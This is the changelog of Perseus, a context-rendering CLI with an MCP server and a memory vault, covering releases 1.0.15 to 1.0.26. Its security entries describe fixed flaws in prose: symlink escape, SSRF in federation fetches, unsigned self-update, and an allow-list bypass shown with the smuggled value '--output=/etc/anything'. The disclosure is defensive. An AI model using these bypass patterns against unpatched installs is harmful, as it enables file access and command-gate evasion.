Skip to content

Latest commit

 

History

History
1243 lines (1027 loc) · 82.2 KB

File metadata and controls

1243 lines (1027 loc) · 82.2 KB

Changelog

All notable changes to Perseus.

This project follows the alpha-then-semver convention: during the alpha (pre-1.0.0) phase, minor bumps may include breaking changes that are documented in the release notes.

Each entry maps a release to the task IDs that shipped in it. The single-file perseus.py runtime is the only required artifact; everything else (installer, docs) is generated by scripts/release.sh.

[Unreleased]

Added

  • Clean-restart attempt isolation — CCRM retry-contamination fix (#972). retry_isolation: digest-sealed transactional context snapshots at attempt boundaries; on failure, restore the pre-attempt snapshot and inject a bounded, structured failure summary — the failed attempt's turns are quarantined and the builder fails closed if any leak back into the restored context. Contamination events are digest-sealed for observability. Attempt-budget allocation uses the paper's closed form T* = sqrt(B·log(1/(1-eps1))/log(1/(1-eps0))). Seeded CCRM simulation reproduces the paper's quantitative shape (IID overestimate of pass@3 ≥ 8pp at the ~7.1x cascade ratio; clean restart recovers it). Offline benchmark benchmark/retry-isolation/ with a CI leg. Composes with #968 (fenced summaries feed TRACE as explicit dissatisfaction signals).
  • Commitment-preserving verifiable compression — Context Codec borrow (#971). commitment_codec: typed semantic atoms (goals, constraints, decisions, preferences, tool results, evidence, safety boundaries) are extracted into a registry with canonical identity, equivalence, and conflict relations before compaction; after compression their preservation is VERIFIED (Critical Atom Recall, Weighted Atom Recall, Commitment Density, round-trip recoverability; error taxonomy dropped/altered/conflated/safety_boundary_loss). Fail-closed: any uncertified commitment — or a crashing advisory lossy compressor — returns the original text. Safety boundaries are never compressed lossily. Digest-sealed replay-first reports. Offline benchmark benchmark/context-codec/ gates CAR ≥ 0.99 and zero safety losses with the fail-closed path exercised on every session, with a CI leg.
  • Pluggable submodular context-selection engine over the pooled context (#970). pooled_selection: session turns, memory entries, and tool outputs pool into one candidate set at prompt-assembly time, selected by a monotone submodular objective (relevance + relevance-weighted coverage under a hard token budget, with diminishing returns) via deterministic lazy-greedy with stable tie-breaking. Pluggable policy registry (submodular_greedy, relevance_greedy, recent_first baseline, register_policy for future policies); digest-sealed replay-first selection traces with kept/dropped reasons feed the #962 DAG. Offline benchmark benchmark/pooled-selection/ gates 100% kept-set recall at ≤ 50% budget on 12 multi-turn scenarios (recency baseline measures ~58% on the same corpus), with a CI leg.
  • Trajectory-mined context-source failure attribution (#968). trace_attribution: a deterministic, stdlib-only diagnosis layer that mines agent trajectories for implicit dissatisfaction signals (corrections, rephrasing, abandonment), attributes each failure to the defective context source with cited evidence steps and source spans, and classifies remediation as CREATE vs UPDATE before any patch is proposed (six-category fault taxonomy adapted to Perseus source types; TRACE arXiv:2608.09153 borrow). Fail-closed: inconclusive attributions produce no proposal; advisory reading agents confirm but never flip decisive verdicts. Digest-sealed, replay-first reports via run_trace_analysis/verify_trace_report. Offline benchmark benchmark/trace/ gates attribution top-1 ≥ 70% and CREATE/UPDATE ≥ 90% on a 36-episode planted-fault corpus, with a CI leg mirroring the selection-eval gate.
  • Context-quality preflight scoring — 7-criteria measurement layer (#969). context_quality: scores compiled context across role clarity, guardrail coverage, instruction consistency, tool schema quality, grounding sufficiency, injection hardening, and token efficiency, with deterministic multi-juror consensus, per-source decomposition, and a fail-closed preflight gate (over-budget and injection markers hard-fail regardless of the jury mean; consistency aggregates by min). Isolation by construction: scoring accepts only context content, never behavioral metrics; advisory external (LLM) jurors are recorded but excluded from the consensus. Digest-sealed replay-first reports. Offline discrimination benchmark benchmark/context-quality/ gates criterion monotonicity + preflight blocking on degraded twins, with a CI leg.
  • Transcript mining → procedural skill synthesis (#932). perseus skills {mine,list,approve,reject,telemetry} plus the opt-in @skill-candidates directive: a deterministic, model-free pipeline turns session transcripts into candidate procedural skills (trigger, steps, pitfalls, evidence, token cost) staged outside the live skills dir. Activation requires an explicit operator review step (perseus skills approve); mining never writes AGENTS.md/CLAUDE.md, and candidates never enter live context until approved. Context-token impact of the surfaced candidate block is measured on the #929 memory-injection telemetry line (same deterministic token counter, hash-only reports).

Changed

  • perseus vault export --prose — CoalWash input-contract conformance (#937, #939). The prose flattener is checked against the CoalWash datasheet (TheColliery/CoalWash#5 §6): section separators are now ATX headings (## <stem>) instead of --- <stem> lines, so output never opens with an unclosed --- fence; vault entries are read with strict UTF-8 and undecodable or NUL-bearing entries are skipped with a warning instead of being lossily re-encoded (no U+FFFD introduced). Byte-level contract tests added; full suite green. Gate note: merged with the vault-quality check red — the gate checks out perseus-vault main, whose own Benchmark Quality Gate is failing on its head (benchmark run.py case set diverged from manifest.json, 49 vs 30 cases); remediation tracked in Perseus-Computing-LLC/perseus-vault#934. Override recorded per the scorecard override_policy (maintainer).
  • Pythia subsystem renamed to Guide. The tool-recommendation subsystem (perseus suggest, perseus guide {accept,reject,log,export,infer-labels,outcomes,drift}, Guide log guide_log.jsonl, guide: config block, @drift) drops the Greek-mythology branding to match Vault/Ledger naming. The legacy oracle alias is removed entirely (config key, log filename, CLI command, /oracle/log endpoint). The older pythia config/log bridge remains, with a self-enforcing removal gate: perseus doctor warns while legacy pythia: config or pythia_log.jsonl is in use, and test_legacy_pythia_removal_gate fails on/after LEGACY_PYTHIA_REMOVAL_DATE (2026-10-08) unless the bridge has been deleted — the removal cannot be forgotten.
  • PyPI project page refresh. Improve the package landing metadata with a clearer install-first README section and direct links to the public homepage, documentation, repository, release notes, and issue tracker.
  • Public capability wording. Remove fixed MCP/Vault tool-count claims from package and marketing surfaces; describe the supported MCP surface instead.

[1.0.26] - 2026-08-01

Changed

  • Remove fixed MCP/Vault capability counts from package and marketing copy; describe the supported local MCP surface and compatibility aliases instead (#899).

[1.0.25] - 2026-08-01

Changed

  • PyPI project page refresh. Clarify the install-first quickstart, make the package README render correctly on PyPI with repository-backed links, update the public benchmark headline to the validated official-CoT result, and add direct project homepage and release-notes metadata (#897).

[1.0.24] - 2026-07-16

Added

  • Honest prompt-token A/B harness with a measured, committed artifact (#804). benchmark/tokenab/ replaces the retired synthetic harness (#803) with symmetric arms: arm A assembles the same information naively (full referenced files, plain concatenation, no penalties or multipliers), arm B is the real perseus render subprocess with shipped defaults, and both arms count the full request (identical system stub reported separately, context, and 14 fixture user prompts) with tiktoken cl100k_base. Measured on the Perseus repo corpus (5 fixture docs exercising include windowing, mode=reference, and the recall-first memory pointer, plus a no-windowing control): 52.63% fewer prompt tokens cold (52.71% context-only; the control doc measured -8.69%, confirming no hidden constant), render overhead p50 341.5 ms cold / 315.6 ms warm timed inside the window. Artifact at benchmark/tokenab/report.json (sha256 content-signed); claims.json registers token_ab_reduction as measured; the retired figures stay banned from public surfaces.
  • Savings wire: counterfactual baselines through the Plutus bridge (#805). meter_response / meter_usage now forward baseline_cost_usd / baseline_model / baseline_input_tokens / baseline_output_tokens to the Plutus ledger (plutus #134), so a deployment can attach the counterfactual a call replaced to the real provider-billed event and produce hash-chained, reconstructable per-event savings. An installed plutus-agent that predates #134 still meters spend and drops the baseline with a single warning. New meter_context_reduction() helper and an opt-in plutus.meter_memory_posture flag record zero-code estimate-arm reduction events (actual injected memory block vs the legacy always-posture dump) into a dedicated perseus-render-estimates workspace, labeled estimate-exact/estimate-heuristic by tokenizer availability, so estimates can never contaminate provider-billed spend accounting. Wiring guide: WIRING.md section 9.

Changed

  • Retired the synthetic A/B headline figures from every public surface (#803). The "94% fewer prompt tokens / 0 ms overhead" numbers came from a stub harness with asymmetric arms (a hard-coded +250 token penalty on the baseline arm; the product arm counted only the compiled context) and are no longer published anywhere; an honest re-run is specced in #804. Surfaces now lead with artifact-backed figures: 73.8% LongMemEval (official harness), 67% smaller tool schema, and the cold/warm cache artifact's own 611x average (the previously shown 1,190x was the best single block). The site calculator and demo are rebased on the cost-savings certification (LongMemEval_s n=60, provider-billed tokens metered through a Plutus ledger) with the full-context baseline labeled as a no-memory-management upper bound. claims.json marks the retired figures unpublishable; test_claims_sync now sweeps four additional pages (government, readme-preview, harness, bench) and bans the retired tokens; a new test keeps the internal MCP compatibility claim code-enforced; the tooltrim connector no longer embeds a fabricated savings range in rendered output; the unregistered 67% tool-schema figure is now a registered, derived claim; the vault bulk-insert rate (98,732/s) is marked unbacked pending an artifact (perseus-vault#702).

[1.0.23] - 2026-07-13

Fixed

  • Silent recall failure against Perseus Vault 2.x — dynamic MCP tool-name resolution (#767, #779). Vault 2.x advertises tools under canonical perseus_vault_* names only; the CLI hard-coded the legacy mimir_recall and, gating on tools/list, silently degraded to empty local-only recall. All 11 vault tool-call sites now resolve names dynamically (prefers perseus_vault_*mneme_*mimir_*), so the CLI works against any vault generation. This is the minimum CLI version for Perseus Vault ≥ 2.20 (server-side issue: perseus-vault#633; older CLIs can bridge via PERSEUS_VAULT_TOOL_ALIASES=all on the vault).

Added

  • Optional LLM query expansion for memory recall (multi-query fusion) (#580). A memory retriever scores one verbatim query against past sessions, but the answer usually lives in a session whose words don't overlap the question (2-hop questions, synonym gaps, "count all X" aggregation). New mneme.expansion config (DEFAULT OFF) plans the question into decomposed/expanded sub-queries via any OpenAI-compatible endpoint, recalls each, and RRF-fuses the hits. Validated on LongMemEval: weak-category retrieval recall@10 0.90 → 0.99, multi-session full-coverage 84% → 95%. New retrieval_expansion.py (stdlib-only — no new runtime dependency; the API key is read from api_key_env, never stored in config). MnemeConnector.recall gains a mimir_recall_expanded strategy; with expansion off, recall is byte-identical to before, and any planner failure falls back to a plain single-query recall (retrieval never breaks).
  • perseus doctor warns about stale duplicate installs across Python minor versions (#734). perseus installs as a single top-level module into a per-Python-minor site-packages dir; upgrading the interpreter (e.g. 3.13 -> 3.14) and reinstalling with pip install --user leaves the OLD copy behind. The active binary stays correct (the ~/.local/bin/perseus symlink points at the newest), but stale copies emit historical-residue warnings whose origin is invisible to perseus --version. New duplicate_installs check scans the macOS/Linux --user layouts plus every site-packages on sys.path, reports each copy's version + path, and WARNS (never auto-deletes) with a copy-paste removal command flagging the active-vs-stale split.

Documentation

  • Tooltrim: document Rovo Dev (acli rovodev) deployment + platform-bundle limitation (#741). Added an "Assistant Wiring" section covering the exact ~/.rovodev/mcp.json + ~/.rovodev/config.yml
    • tooltrim.config.yaml snippets to put Perseus (and optionally Perseus Vault's memory tools) behind one filtered inbound endpoint, plus an explicit note that Rovo Dev's server-side platform integration bundle (google_drive/slack/jas/... gated by INTEGRATIONS_SERVICE_MCP_API_TOKEN) is all-or-nothing and CANNOT be proxied/filtered by tooltrim.
  • README: minimal 3-line quickstart hero snippet (#733). Added an explicit zero-to-rendered-context install → perseus quickstartperseus render -o AGENTS.md example at the top so new users go from zero to a live context file in under five minutes with no config spelunking.

[1.0.22] - 2026-07-10

  • Release infrastructure only (#743): validate the new signed SLSA build-provenance pipeline (GitHub Artifact Attestations + PEP 740 PyPI attestations) end-to-end. No functional changes to the runtime.

[1.0.21] - 2026-07-07

Fixed

  • Legacy mneme:/mimir: config no longer shadowed by the default perseus_vault: block (#704). load_config materializes a full default perseus_vault: block, so a config that only had a legacy block — the previously-recommended migration target — was silently dead: the bridge fell back to a bare perseus-vault PATH lookup and fallback_to_local masked it as "local results only". Legacy blocks are now folded into the canonical key at load (deep-merged; explicit canonical wins key-by-key), with a one-time deprecation notice and a new perseus doctor check that ERRORS when a raw legacy block is not reflected in the resolved connector config.
  • MnemeConnector.recall sends the Vault tool's canonical argument names (#699). The tool drops unknown keys silently, so max_results never reached limit (every bridge recall was pinned to 10) and min_decay_score never reached min_decay. A single memory-type filter now maps onto the tool's type; include_federation/filters are documented no-ops.
  • Serve index version badge follows the real package version (#696) — it was hardcoded v0.6.

Added

  • perseus knows (#692, alias perseus memory review) — plain-language "what does my assistant know about me?" screen: active-only headline count, buckets (About you / Project facts & decisions / Recently learned / Low confidence), ✔/~ trust markers, 8-char short ids resolved git-style, and curation (--show, --forget reversible archive, --correct bitemporal wrong→right pair) with confirm-before-write. --json for machines. Config block: knows.enabled / knows.limit.
  • /knows serve endpoint + "What Perseus knows about you" index panel (#695) — the #692 renderer over HTTP (markdown or ?format=json) through the existing redact + bearer-auth path, read-only; the index gains Vault memory stat cards fed by the Vault's active-only stats (perseus-vault #493), never the archived-inflated totals.

[1.0.20] - 2026-07-07

Merged via #689.

🧭 Global Workspace

  • @focus directive / perseus_focus tool — A new "global workspace" tier: a small, capacity-bounded (default 32), salience-ranked set of items that Perseus broadcasts into the rendered context — the shared "what I'm working on now" set for an agent and its subagents. Inspired by Global Workspace Theory (a capacity-limited working set broadcast to many subsystems); this is the external, orchestration-layer analog. Items compete for a fixed number of slots by salience (base weight × frequency × recency decay); the lowest-salience non-pinned items are evicted on overflow, and pinned items are protected. Distinct from long-term recall (@mimir/@memory): bounded and actively maintained, not unbounded memory. Per-workspace JSON store under $PERSEUS_HOME/focus/.
  • Vault graph-centrality salience (opt-in) — when focus.centrality.enabled is set, an admitted item's salience is boosted by its degree centrality in the Perseus Vault memory graph (link count of the best-matching entity, lightly blended with recall relevance): items that connect to more of the curated memory graph broadcast more strongly. Fetched once per admission (not per render); OFF by default and degrades to the recency+frequency behavior when the Vault is disabled, unreachable, or has no match.

[1.0.19] - 2026-07-05

Merged via #684.

Security — housekeeping follow-ups (2026-07-05 review)

  • Self-update fails closed (MED). perseus update --apply previously pulled+ran origin/main with zero signature verification by default (_gpg_verify_signature returned "pass" on no-fingerprint, gpg-missing, unsigned, and timeout). Now: unattended (update.auto) updates refuse without a configured update.gpg_fingerprint; when a fingerprint IS set, a missing/failed/unsigned/wrong-key signature blocks the update (and the signature must match the configured fingerprint). --skip-signature-check still bypasses explicitly.
  • @perseus fences remote content (MED). Remote-resolved context is wrapped in an explicit untrusted-DATA marker so a compromised/hostile peer can't smuggle instructions into the consuming agent as trusted text (HMAC authenticates the peer, not the content).
  • Webhook empty-secret fails closed (LOW). If signing was configured (a secret, or webhooks.require_signature) but the secret resolved empty, the payload is no longer delivered unsigned — the endpoint refuses to deliver.
  • serve rejects a missing Host on loopback binds (LOW), matching the MCP SSE handler (was allowed — a DNS-rebinding gap).
  • Vault-connector binary search no longer trusts the CWD (LOW-MED). The $PWD/perseus-vault/target/release/… candidates (an untrusted-search-path / CWE-427 vector) are now gated behind PERSEUS_DEV_VAULT_BUILD=1 for dev use only.
  • Deferred: /oracle/log cross-workspace scoping needs a workspace field on Pythia log entries (tracked separately). See docs/security-review-2026-07-05.md.

[1.0.18] - 2026-07-05

Merged via #681 (code hardening) and #682 (deploy/supply-chain posture).

Security (2026-07-05 review)

  • @tree no longer follows symlinked directories out of the workspace (MED). _resolve_path validated only the tree root; a workspace-internal symlink to an external directory would leak out-of-tree filenames via recursion. Symlinked dirs are now surfaced by name but never descended (matching @list).
  • @tool --flag=value allow-list bypass closed (MED). A bare-flag allow-list entry (e.g. --output) no longer admits an arbitrary attached value (--output=/etc/anything). To permit arbitrary values for a flag, list it with a trailing = (e.g. --output=); exact --flag=value entries still match.
  • Federation fetch/push are SSRF-guarded (MED). @memory federation fetch and push now enforce an http/https scheme check, block private/loopback/link-local IPs (override: federation.allow_internal=true), and refuse to follow 3xx redirects — mirroring the guards already applied to @perseus/@services/webhooks.
  • Bounded LLM response reads (LOW). run_llm/run_ollama cap the response body (pythia.max_response_bytes, default 8 MiB) so a malicious/compromised endpoint cannot OOM the process.
  • Docker image no longer bakes PERSEUS_ALLOW_DANGEROUS=1 (MED). That env var is the master gate for shell-executing directives; shipping it pre-set removed one of the two required gate layers for every container. Operators must now opt in with docker run -e PERSEUS_ALLOW_DANGEROUS=1 (plus the matching render.allow_*_shell).
  • Docker image runs as a non-root perseus user (LOW-MED) instead of root.
  • bootstrap.sh installer repointed from the personal fork tcconnally/perseus to Perseus-Computing-LLC/perseus (MED) — the curl|bash one-liner and all doc links now target the canonical org namespace. Adds an optional PERSEUS_CTX_VERSION pin for reproducible installs.
  • pyyaml dependency capped <7 (LOW) so a future major can't be pulled unbounded.
  • See docs/security-review-2026-07-05.md for the full ranked review.

[1.0.17] - 2026-07-03

Fixed

  • @memory Recent Activity no longer renders empty when the background harvest writes session entities to the vault instead of Perseus checkpoints (#670, HIGH). When the checkpoint-distilled section is empty, the narrative render now falls back to a vault recall of recent session-category memories (render-only — never persisted into the narrative file; a no-op when the vault is unavailable/empty, and it never fires when checkpoint activity exists).
  • perseus render <src> -o /dev/null (or any non-regular output target) no longer crashes with PermissionError (#672): the atomic writer detects a non-regular target and writes through directly instead of using a sibling tempfile it can't create in /dev/.

Changed

  • Remaining old-brand labels on the @memory surface now route through the Perseus Vault brand constant (#666): the rendered narrative H1 title (# Mnēmē — …# Perseus Vault — …, visible in every rendered AGENTS.md), the perseus memory show/status/query/doctor headers and warnings, and the narrative stale/compact notes. (Doctor check labels were already done in #667.)

[1.0.16] - 2026-07-03

⚡ Performance

  • CI perf gate for cold start (#660, follow-up to #642/#659). A new bench/scripts/cold_start_gate.py + Perf Gate workflow pin the residual cold-start numbers so a regression is caught instead of drifting: median python -m perseus --version, -X importtime total, a guard that the lazily-imported traceback/concurrent.futures (the #659 win) stay out of the startup path, and a spawn→initialize round-trip. Budgets carry generous headroom over local baselines and every metric prints a PERF-GATE | log row.
  • python -m perseus documented as the fast single-file invocation (#660, option 2). The distribution ships perseus as a top-level py-module, so python -m perseus … uses CPython's .pyc cache instead of re-parsing the 1.3 MB artifact every spawn — ~180 ms vs ~330 ms for python perseus.py (~1.9× faster) with no code change. See docs/PERFORMANCE.md. (The curl-installer marshal-cached shim — option 1 — remains a deferred optional micro-optimization; python -m perseus already gives single-file users the .pyc-class win.)

🐛 Fixes

  • Onboarding / time-to-value: quickstart now generates a WORKING Perseus Vault config, and old-brand strings are cleared from the first-run paths (#665, #666, follow-up to #662/#663/#664). Plain perseus quickstart (no --with-memory) used to write a broken legacy block — key mimir: with command: ["mimir", "serve", "--db", "~/.mimir/data/mimir.db"] — even though a fresh install ships only a perseus-vault binary (there is no mimir), so the memory connector was silently dead. _quickstart_write_config now always emits the canonical perseus_vault: key with command: ["perseus-vault", "serve"] and no --db argument (the binary self-resolves its default DB path, eliminating path drift); with_memory no longer selects a legacy branch. The same canonical default replaces the stale mimir: template in DEFAULT_CONFIG. doctor memory-check labels (Mnēmē narrative, Mnēmē FTS index, Mimir connected + healthy) now route through a shared MEMORY_BRAND = "Perseus Vault" constant so no user-facing label carries a legacy brand (#666). init/quickstart first-run output collapses to a single "Perseus Vault binary" line and replaces the Unix-only cron-watchdog next step with portable, value-oriented pointers. Docs (README, SETUP-GUIDE) updated to the perseus_vault:/perseus-vault surface, 55 tools / v2.14.0, and the perseus-vault repo/bootstrap URLs; the legacy mimir: key remains accepted for back-compat. Legacy config keys are still read everywhere.

  • The injected persistent-memory block is rebranded to Perseus Vault, and perseus_vault: is the canonical config key (#662). The generator hardcoded ## Persistent Memory (Mneme) / (Mimir) even though the memory layer is now "Perseus Vault", so freshly rendered AGENTS.md files showed the old product name. Every generator site now emits ## Persistent Memory (Perseus Vault) (via a shared PERSISTENT_MEMORY_HEADER constant); the backward-compatible matcher still recognises the historical (Mimir) / (Mneme) / (Mnēmē) headings, so a doc rendered under an old header is still found and replaced on the next render. On the config side, _resolve_mneme_config now treats perseus_vault: as canonical with mneme: and mimir: as accepted deprecated aliases (canonical wins when several are present; a one-time per-key stderr notice fires for a deprecated key). Pack-manifest overrides (_merge_pack_mimir_config) and the doctor connection probe read/write through the same alias precedence.

  • quickstart and doctor now warn clearly when the memory connector is configured but the Perseus Vault binary is absent (#663). quickstart always wires an enabled connector, but the binary (a separate Rust build) is not bundled, so memory was silently empty. Both commands now surface a warning with copy-paste remediation (build-from-source pointer / --with-memory hint) when the binary can't be found on PATH or at the configured path, and say nothing when it is present. The binary search also covers the new perseus-vault name and its target/release build dir alongside the legacy mimir/mneme names. A new perseus quickstart --with-memory flag wires the connector under the canonical perseus_vault: key and prints the exact install/next steps — it never silently downloads or builds the Rust binary (the legacy auto-download bootstrap prompt was removed in favour of this explicit, operator-run path).

  • Emitted MCP/installer configs now prefer the stable ~/.local/bin/perseus symlink and guard against stale shims (#660, follow-up to #642/#659). _resolve_perseus_invocation gained the scheduler's _perseus_launcher candidate order — ~/.local/bin/perseus (survives Python minor-version bumps) before a bare PATH lookup — so emitted configs and install hooks point at the launcher that keeps working across upgrades (#430). It also probes each candidate's --version and rejects any entry point whose version disagrees with the running build, falling back to <python> <artifact>; this stops an emitted config from silently launching a different, older perseus that shadows a freshly curl-installed single-file build. An unverifiable candidate (probe can't run) is still trusted, preserving the pre-#660 fast path. Finally, perseus quickstart's next-steps hints (quickstart.py:343) now render with the resolved invocation instead of a bare perseus … that was dead advice for single-file / curl-install users with no console script on PATH.

  • Failure results nested inside a cacheable @include are no longer frozen by the include-level cache (#656). The #635 failure flag was consumed by the included file's own render loop, so the enclosing @include's fingerprint-cache write proceeded with the degraded banner embedded and the failing directive never retried while the entry lived. _render_lines now re-marks the flag at frame exit for nested renders (any depth of include nesting, including failures inside @if/@validate branches, pipe stages, and parallel pre-scan workers), so every enclosing cache-write site applies the same never-memoize-failures policy. The @if/@validate recursion call sites pop-and-fold the re-marked flag (same hygiene as the pipe site), so a branch failure never bleeds into a SIBLING directive's cache decision. Includes whose content resolves successfully cache exactly as before.

  • @cache session entries are redacted before the in-memory store (#657). cache_set's session branch returned before redact_text ran, so session entries held raw unredacted values for the process lifetime — relevant for long-lived perseus serve / mcp serve processes. The session tier now shares the disk path's redact-before-store contract, including the #647 fail-closed policy (a redaction error skips the store; a miss is safe). Behavior is unchanged when redaction is disabled.

  • perseus mcp config / perseus install emit an invocation that actually runs on single-file installs (#642b). Both prefer the installed perseus entry point when it is on PATH (the import path gets CPython's normal .pyc bytecode cache — warm --version ≈ 167 ms vs ≈ 330 ms for python perseus.py); when it is not, they now fall back to <current interpreter> <artifact path> instead of a bare perseus command that could never spawn (MCP clients like Claude Desktop often launch with a minimal PATH). perseus install --perseus-cmd still overrides the resolution unchanged.

  • parallel_queries no longer silently disables caching for bare @query (#634). The Track A10 auto-cache upgrade now lives in one shared helper (_auto_cache_mode) applied identically by the main render loop, the parallel pre-scan, and the parallel worker — previously the pre-scan never read and the worker never wrote cache entries for bare queries, making repeated parallel renders strictly slower than sequential. The pre-scan also honours no_cache now, matching the sequential loop.

  • @query failure output is no longer memoized (#635). Resolvers signal degraded results structurally (thread-local flag popped by every cache-write site: render loop, parallel worker, pipe executor, prefetch/speculation warmers), so a transient timeout / exit≠0 / error / no-output result renders once but is never persisted — the next render retries instead of serving a frozen "timed out" banner for the full TTL. fallback="…" results remain cacheable (they are the user's designed value for an expected failure). Prefetch accounting is unchanged: a flagged directive still counts as "ran" (and perseus prefetch keeps exit code 0) — only its cache write is skipped.

  • Cache write failures are observable (#638). ENOSPC/permission errors in cache_set now emit a rate-limited stderr warning plus a cache_write_failed audit event instead of silently degrading to re-executing shell commands every render.

  • Secret redaction fails CLOSED on the cache-write path (#647). If redact_text itself errors, the disk cache write is skipped entirely (previously the unredacted value was persisted), with a rate-limited stderr note and a cache_redaction_failed audit event. (Session/in-memory caching was originally out of scope here; #657 later extended the same contract to it.)

  • Parallel cache hits/misses reach render stats and hooks again (#639). The prefetched-result early return now bumps directive_count / cache_hits / cache_misses and fires on_cache_hit / on_cache_miss from the pre-scan's recorded source, so --explain, meta JSON, and hook dashboards no longer report zeros exactly when parallel_queries is on.

  • A crash inside the post-render speculation pass leaves a trace (#640). Still never breaks the render, but now writes one stderr line and a speculation_pass_failed audit event so operators can tell "feature broken" from "feature predicting nothing".

⚡ Performance

  • Cold start no longer imports the logging/traceback subtree (#642c). The artifact's only eager importers were registry.py (traceback, used solely on directive-error paths) and mcp.py (concurrent.futures, used solely inside tools/call timeout handling; it transitively pulls loggingtraceback). Both are now lazy, removing ~18 ms of measured import time from every render/hook/--version spawn. The self-caching launcher direction from #642a was investigated and rejected: CPython compiles an entire script eagerly before executing its first statement, so a preamble inside perseus.py can never skip the compile of its own file (evidence and remaining design options are on the issue).

  • Render-scoped path-resolution memo (#637). workspace.resolve() is resolved once per render (was: once per directive in the cache-key build, parallel pre-scan, and pipe path) and _resolve_path results are memoized for the duration of one top-level render. Measured on a 200-@read probe doc: warm render 86–94 ms → 66–72 ms (~24% faster), nt._getfinalpathname syscalls 1200 → 802, output byte-identical.

  • A corrupt local FTS5 index no longer makes project memories silently vanish forever (#645). A corrupt mneme.index (bad disk sector, truncated write, garbage bytes) used to be swallowed into a silent None → every recall returned [] with zero output, forever, even though the vault .md files were intact. The index is now quarantined to a timestamped mneme.index.corrupt-<ts> file, recreated, and reindexed from the vault on the next recall — with a one-time stderr warning. Query-time errors in _mneme_search are no longer swallowed either, so the existing "index may be corrupt" warning can actually fire, and page-level corruption surfacing at query time also triggers quarantine. "Vault dir undeterminable" still returns silently by design.

  • Federation peer narratives are no longer silently dropped from conflict/diff/merge views (#650). An unreadable/corrupt peer narrative used to simply disappear, so the render claimed a complete cross-workspace view that wasn't. Conflicts now append a > _(peer <name>: narrative unreadable — <reason>)_ marker; diff and merge name the unreadable peer and the reason (matching the #539 "vault down ≠ no matches" pattern).

  • Mneme connector retries no longer dead-sleep after transport teardown (#649). When a query timeout tears the MCP transport down, the remaining retry attempts fail instantly with "MCP process not running" — but the backoff sleeps between them still ran (~3.75s provably dead per query with defaults; ~13.75s worst-case first-query stall against a wedged vault). Retries now short-circuit once the transport is gone; the skipped attempts are still charged to the circuit breaker, so breaker behavior (opening after one fully failed query) is unchanged.

  • perseus_date zero-arg MCP call returns a real date (#641). The tool's default format was strftime syntax, which resolve_date never substituted — every MCP client's no-args call got the literal "%Y-%m-%d %H:%M:%S" back. Default is now "YYYY-MM-DD HH:mm:ss", the tool description documents the human-token syntax, and resolve_date additionally maps strftime tokens (%Y %m %d %H %M %S) for clients taught the old syntax.

  • MCP stdio serve loop: bounded input + malformed-input observability (#643). A single JSON-RPC line is now capped at 32 MB (oversized lines are drained in bounded chunks and answered with -32700 instead of being fully buffered), and malformed inputs (unparseable / oversized / non-object) are counted per session, warned on stderr (first + every 100th), and surfaced via perseus_get_health — a misframing client is now diagnosable instead of silently eaten.

  • --version / MCP serverInfo no longer hijacked by a stray VERSION file (#644). _find_version() walks every ancestor of the artifact; it now only honors a VERSION file with a repo marker (.git or scripts/build.py) beside it, otherwise the build-time literal is reported.

  • Rendered output files are written atomically (#646). perseus render --output (and therefore perseus watch) wrote AGENTS.md/.hermes.md with a plain write_text — a hard kill mid-write (guaranteed torn on Windows, where SIGTERM handlers never fire) left a truncated context file that silently degrades every agent reading it. Outputs now go through a same-directory tempfile + os.replace, mirroring the render cache's atomic-write pattern.

  • Webhook exit flush bounded to a total budget (#651). The atexit flush joined each worker for up to 10s — one dead endpoint mid-retry added ~10s to every CLI exit. The flush is now capped at webhooks.flush_timeout_s (default 3s) TOTAL across all endpoints and prints a flushing webhooks… stderr line when it actually has undelivered work, making the pause attributable.

  • perseus serve uses ThreadingHTTPServer (#652). The single-threaded HTTPServer serialized every request, so /health — the endpoint monitors probe — starved behind a slow /context render and looked like an outage. Requests are now handled on daemon threads; the handler holds no shared mutable state and the render path is already exercised concurrently (#454).

⚡ Performance

  • Cold start: urllib.request no longer imported eagerly (#642, partial). The header import pulled in http.client/email (~30 ms of every invocation) though only network paths (webhooks, self-update, LLM doctor check, federation) need it. A PEP 562 lazy attribute on the urllib package defers the import to first use; urllib.parse/urllib.error stay eager. python perseus.py --version median drops accordingly.

  • MCP Registry publish no longer races the PyPI publish. Both workflows trigger on the same release event, and the registry validates the package against PyPI — it lost that race on v1.0.15 ("PyPI package 'perseus-ctx' not found (status: 404)") and needed a manual re-run. The registry workflow now polls PyPI for the released version (up to 10 minutes) before publishing.

⚡ Efficiency

  • @speculate history load is bounded by history_window (#636). Every opted-in render used to read + YAML-parse EVERY checkpoint file and slice to the window only afterwards — O(store size) per render (~+155 ms at 200 files, ~+287 ms at 1000) — and then re-list the store for the settlement marker. History parsing now stops as soon as the newest history_window matching intents are collected (identical speculation decisions, verified by test), and history + marker share one store listing.

🧹 Removed

  • Deleted the dead memory_mesh.py MemoryMesh PoC module (#648). memorymesh_search/memorymesh_format_for_context had zero callers anywhere in src or the built artifact, and the module's private stdio MCP client carried every defect #544 fixed in the real connector (blocking readline() with no deadline, undrained stderr pipe → two-pipe deadlock, no response-id correlation, locale-codec text mode, close-pipes-before- terminate, an unclosable process-lifetime registry). Dead code with a known-bad concurrency pattern is a landmine; removed rather than hardened.

[1.0.15] — 2026-07-02

✨ Enhancements

  • perseus prompt-size / @budget --forensic — per-directive, tokenizer-accurate context accounting (#606). Byte-exact attribution of the rendered prompt to each directive (monotonic-cursor span matching; attributed + static == total always), tiktoken-exact token counts when available with an honestly-labeled estimate fallback, --since <ref> historical diffing, and @budget thresholds enforced against the measured render. @budget is exposed read-only as the perseus_budget MCP tool (29 → 30 tools). Preview/--explain no longer double-count @include contents (nested records are covered by the include's own record). New src/perseus/promptsize.py with tests/test_promptsize.py coverage.

  • @speculate — speculative context prefetch via next-intent prediction (#607). A control pragma (not an MCP tool, default off) that pre-warms the directive cache for user-configured next-intent candidates after a render, reusing the reactive prefetch execution path — so gated directives (@query/@agent) are skipped under exactly the same trust rules, and warmed entries land on the identical <base>.<fp> cache keys the renderer reads. Speculation failures are fully isolated and can never break the primary render. New src/perseus/speculate.py with tests/test_speculate.py coverage.

  • Recall-first memory posture + per-model context profiles — @profile (#608), AGENTS.md render dedup + relevance gating (#553). Memory posture is now on_demand by default (a byte-stable pointer block instead of always-injected memory dumps); relevant posture routes through recall_when so a reachable vault with zero matches injects nothing. Per-model profiles (@profile) select posture/limits by model, exposed read-only as the perseus_profile MCP tool (28 → 29 tools). AGENTS.md context renders now dedup memory sections (existing memory headers suppress reinjection, idempotently) with relevance gating on what does get injected. Legacy always_inject/auto_inject/context_limit knobs honored. New tests/test_memory_posture_profiles.py.

